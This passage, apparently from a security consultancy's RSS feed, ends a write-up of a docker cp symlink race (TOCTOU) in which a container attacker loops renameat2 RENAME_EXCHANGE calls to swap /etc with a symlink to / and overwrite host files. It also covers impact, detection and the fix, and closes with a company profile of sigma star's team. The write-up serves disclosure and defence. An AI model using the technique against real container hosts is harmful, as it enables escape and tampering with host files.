<code>/</code> in <code>mkdirat()</code> and <code>pivot_root()</code>. The same applies to <code>BASEDIR/etc/.pivot_root447772558</code> - it will turn into <code>/.pivot_root447772558</code>.
This makes the <code>pivot_root()</code> operation basically a no-op since we switched the host root filesystem to <code>/.pivot_root447772558</code>
and back again.</p>
<p>As soon as docker opens <code>/passwd</code> inside the new mount namespace, it will be the <strong>host filesystem</strong> instead of the root of the
targeted container.</p>
<h2 id="exploiting-the-problem">Exploiting the problem</h2>
<p>In the attack scenario, the attacker has control over a container and can execute code inside of it. He knows that the system administrator either uses <code>docker cp</code> manually or automatically to copy a file into the container.</p>
<p>We saw that docker assumes that the path cannot change while the copy operation is running and that we can get access to the host filesystem if we manage to trick docker by presenting a directory at check time and later a symlink at use time.
Hitting exactly the right times to present either a directory or a symlink might sound hard to achieve. There is a simpler approach: a brute force attack.
We don’t care if the majority of all tries don&rsquo;t work, as long as one works.</p>
<p>So we create two files, <code>/etc</code> being a directory and <code>/etc.sym</code> being a symlink to <code>/</code>.
To apply the brute force attack <code>/etc</code> and <code>/etc.sym</code> filenames are exchanged forever.
At any point in time <code>/etc</code> is either a directory or a symlink to <code>/</code>.
To achieve that, we use Linux’s <code>renameat2()</code> system call.</p>
<p>The exploit is basically a program performing</p>
<pre><code>renameat2(AT_FDCWD, &quot;/etc&quot;, AT_FDCWD, &quot;/etc.sym&quot;, RENAME_EXCHANGE);
</code></pre>
<p>in a loop.</p>
<p>The crucial points in time are:</p>
<ul>
<li><strong>T1:</strong> the time of the path being checked</li>
<li><strong>T2:</strong> the point when <code>mkdirat()</code> runs to create the pivot directory</li>
<li><strong>T3:</strong> when <code>pivot_root()</code> takes place</li>
</ul>
<p><code>/etc</code> within the container can either be in state <strong>D</strong> being a directory or in state <strong>S</strong> being a symlink.
So we have three points in time, which can be in two states. To sum it up: there are eight possible attack states our brute force exploit
can trigger.
We already know that the attack can only be successful if <code>/etc/</code> is a directory at check time and then a symlink.
Therefore only attack state <strong>A4</strong> will lead to success.</p>
<p>This rough estimation shows that one-eighth of all attacks are successful. Not too bad for a brute force attack.
Please note that this is just an estimation that leaves out some details. It does not take into consideration, for example, that
the time difference between <strong>T1</strong> and <strong>T2</strong> is large since execution spawns over two processes, while the time between <strong>T2</strong> and <strong>T3</strong> is minimal since both execution points are in the same process and successive. So hitting the race between <strong>T1</strong> and <strong>T2</strong> is much more likely than between <strong>T2</strong> and <strong>T3</strong>.</p>
<p>Let&rsquo;s take a deeper look at the state in which the attack is not successful.
We distinguish two types of failures:</p>
<ul>
<li>unnoticed failures</li>
<li>noticed failures</li>
</ul>
<p>For example, if at time of <code>mkdirat()</code> etc is a symlink and later at <code>pivot_root()</code> again a directory, <code>pivot_root()</code> will fail and <code>docker cp</code> reports an error.</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>A1</th>
          <th>A2</th>
          <th>A3</th>
          <th>A4</th>
          <th>A5</th>
          <th>A6</th>
          <th>A7</th>
          <th>A8</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>T1</strong></td>
          <td>D</td>
          <td>D</td>
          <td>D</td>
          <td>D</td>
          <td>S</td>
          <td>S</td>
          <td>S</td>
          <td>S</td>
      </tr>
      <tr>
          <td><strong>T2</strong></td>
          <td>D</td>
          <td>D</td>
          <td>S</td>
          <td>S</td>
          <td>S</td>
          <td>S</td>
          <td>D</td>
          <td>D</td>
      </tr>
      <tr>
          <td><strong>T3</strong></td>
          <td>D</td>
          <td>S</td>
          <td>D</td>
          <td>S</td>
          <td>S</td>
          <td>D</td>
          <td>S</td>
          <td>D</td>
      </tr>
      <tr>
          <td></td>
          <td><strong>U</strong></td>
          <td><strong>E</strong></td>
          <td><strong>E</strong></td>
          <td><strong>X</strong></td>
          <td><strong>U</strong></td>
          <td><strong>U</strong></td>
          <td><strong>U</strong></td>
          <td><strong>U</strong></td>
      </tr>
  </tbody>
</table>
<pre><code>D ... etc is a directory
S ... etc is a symlink

U ... attack unsuccessful, unnoticed
E ... attack unsuccessful, errors reported
X ... exploited!
</code></pre>
<h2 id="impact">Impact</h2>
<p>Under optimal circumstances, an attacker within a container can overwrite any file on the host side. On the other hand, the attacker needs to know which file is being written using <code>docker cp</code> and if the copy operation runs very seldom, the chances to hit the race window are low.</p>
<h2 id="identifying-the-attack">Identifying the attack</h2>
<p>In a previous section, we saw that there is a chance that <code>docker cp</code> will fail and report an error.
If <code>docker cp</code> runs as part of your automation, check logs for failures - they could indicate an attack.
Another possibility to detect ongoing attacks is stale <code>.pivot_rootXXXXXXXX</code> directories on the host side, where <code>XXXXXXXX</code> is a number.
If the attacker tries to place a file in the host root filesystem, unsuccessful attacks leave a <code>.pivot_rootXXXXXXXX</code> behind.</p>
<h2 id="fixing-the-problem">Fixing the problem</h2>
<p>The currently implemented solution is suspending the container while the copy operation is running.
With that, the docker daemon can be sure that nothing inside the container can change paths
while it is performing the copy operation.
The downside of this approach is that suspending a container is slow and will interrupt workloads.</p>
<h2 id="final-thoughts">Final thoughts</h2>
<p>Symlink races, or more general TOCTOU (Time-of-Check-to-Time-of-Use) issues, are still a problem and not always obvious.
To avoid them while writing code, always ask yourself whether a system resource can change after you did some check on it. Usually, the answer is <strong>yes, it can change</strong> when the check is performed by your code and not by the operating system. Especially when it comes to checks on filesystem resources such as symlinks.
If you are using a high-level programming language, try to understand what operations will be made by it at a system call level. Just because it&rsquo;s a single operation in your favorite programming language it doesn&rsquo;t have to be atomic.</p>
<h2 id="references">References</h2>
<ul>
<li><a href="https://seclists.org/oss-sec/2019/q2/131">https://seclists.org/oss-sec/2019/q2/131</a></li>
<li><a href="https://man7.org/linux/man-pages/man7/mount_namespaces.7.html">https://man7.org/linux/man-pages/man7/mount_namespaces.7.html</a></li>
<li><a href="https://man7.org/linux/man-pages/man2/setns.2.html">https://man7.org/linux/man-pages/man2/setns.2.html</a></li>
<li><a href="https://man7.org/linux/man-pages/man2/pivot_root.2.html">https://man7.org/linux/man-pages/man2/pivot_root.2.html</a></li>
<li><a href="https://man7.org/linux/man-pages/man2/rename.2.html">https://man7.org/linux/man-pages/man2/rename.2.html</a></li>
<li><a href="https://github.com/moby/moby/pull/39252">https://github.com/moby/moby/pull/39252</a></li>
</ul>
]]></content:encoded></item><item><title>Who is sigma star und who is the team</title><link>https://sigma-star.at/blog/2021/06/who-we-are/</link><pubDate>Tue, 01 Jun 2021 00:00:00 +0200</pubDate><author>Thomas Dierl</author><guid>https://sigma-star.at/blog/2021/06/who-we-are/</guid><description><![CDATA[<h1 id="who-is-sigma-star--who-is-the-team">Who is sigma star &amp; who is the team?</h1>
<p>sigma star gmbh is a IT consulting and development company established in 2011 and located in
Innsbruck, Austria. Today it is lead by David Gstir, Richard Weinberger and Thomas Dierl.</p>
<h2 id="what-we-do"><strong>what</strong> we do&hellip;</h2>
<p>At sigma star we provide consulting and software engineering services in a multitude of areas.
The main ones are security and open source software.</p>
<h2 id="-and-how-we-do-it">&hellip; and how we do it</h2>
<p>In all our work we strive for high quality and durable solutions.</p>]]></description><content:encoded><![CDATA[<h1 id="who-is-sigma-star--who-is-the-team">Who is sigma star &amp; who is the team?</h1>
<p>sigma star gmbh is a IT consulting and development company established in 2011 and located in
Innsbruck, Austria. Today it is lead by David Gstir, Richard Weinberger and Thomas Dierl.</p>
<h2 id="what-we-do"><strong>what</strong> we do&hellip;</h2>
<p>At sigma star we provide consulting and software engineering services in a multitude of areas.
The main ones are security and open source software.</p>
<h2 id="-and-how-we-do-it">&hellip; and how we do it</h2>
<p>In all our work we strive for high quality and durable solutions.</p>
<h2 id="expert-areas">Expert areas</h2>
<p>Topics of the experts group are not limited to but include:</p>
<ul>
<li><strong>Security and cryptography services</strong>, such as: Audits of code or architecture,
design and implementation of protocols or concepts.</li>
<li>The <strong>whole Linux ecosystem</strong>, such as any kind of kernel development, design and
implementation of embedded systems or user interfaces.</li>
<li><strong>Trainings</strong>: Our services do not end after consulting and development, for all covered topics
sigma star gmbh also provides trainings. Either in combination with handover of the final product
to the internal development team or individually to expand the skill set of our customer’s team.
In general we have a strong knowledge sharing attitude and don&rsquo;t provide black box solutions.</li>
</ul>
<h2 id="our-customers">Our customers</h2>
<p>Our customers build mission critical systems in the area of automotive, cryptography, industrial,
embedded and access control systems with a strong focus on security and privacy. Since we and our
customers value integrity and confidentiality, we don&rsquo;t publish a reference list. Examples however
are companies that</p>
<ul>
<li>build Linux-based products</li>
<li>have a need for IT security consulting</li>
</ul>
<p>Among them are small companies with special needs as well as big stock companies with their own
development departments around the globe.</p>
<h2 id="core-team">Core Team</h2>
<p>Sigma star gmbh has various partners and friends on which we can fall back to tackle bigger projects.
Our core team currently consists of five all-rounders.</p>
<figure>
<img src="richard_portrait.png?width=auto" loading="lazy" decoding="async" alt="Linux Penguin"></figure>
<h3 id="richard-weinberger">Richard Weinberger</h3>
<p>Richard is actively involved in the Linux kernel development and maintainer of several
Linux Subsystems. He is our secret weapon to hunt any kind of system level bug and issue.
His extensive experience with tackling bugs also gave him a keen eye for security-specific
software and compiler bugs.</p>
<figure>
<img src="dave_portrait.png?width=auto" loading="lazy" decoding="async" alt="Enigma Penguin"></figure>
<h3 id="david-gstir">David Gstir</h3>
<p>David is the security professional of the team. He has a background in IT-security and
cryptography where he researched attacks on the AES algorithm as well as security and privacy
aspects of smart meters. Combined with his experience in Linux and software engineering,
he is in hot pursuit of all those security issues in our customer&rsquo;s source code. Aside from that
he is also not afraid to build larger code bases from scratch, even if they are intended to
run on non-Linux systems too.</p>
<figure>
<img src="thomas_portrait.png?width=auto" loading="lazy" decoding="async" alt="Workflow Penguin"></figure>
<h3 id="thomas-dierl">Thomas Dierl</h3>
<p>Thomas has 20+ years of experience in software development and software architecture. Therefore,
his main topics are software development and architecture with security and durability in mind.
When he is not busy with founding companies or consulting startups, he brings our customer’s
ideas to paper, codes and watches over the daily organisational matters.</p>
<figure>
<img src="goliath_portrait.png?width=auto" loading="lazy" decoding="async" alt="Kamikaze Penguin"></figure>
<h3 id="david-oberhollenzer">David Oberhollenzer</h3>
<p>David is our brave and brilliant warrior who is not afraid to tackle new and complicated projects.
This leads him to creating and maintaining multiple new open source projects spanning from low-level
embedded systems to user interfaces.</p>
<figure>
<img src="aaron_portrait.png?width=auto" loading="lazy" decoding="async" alt="Rookie Penguin"></figure>
<h3 id="aaron-marcher">Aaron Marcher</h3>
<p>Aaron is the youngest, but no less inquisitive team member. He eagerly approaches every new project
with a sharp eye for the important parts and the end goal. During his 4+ years of experience at
sigma star he already combatted linux bugs, worked on linux kernel, embedded systems projects
and engineered cloud-based software solutions.</p>
<p><strong>We would be pleased to get to know you and tailor a specific solution for your problem.</strong></p>
]]></content:encoded></item></channel></rss>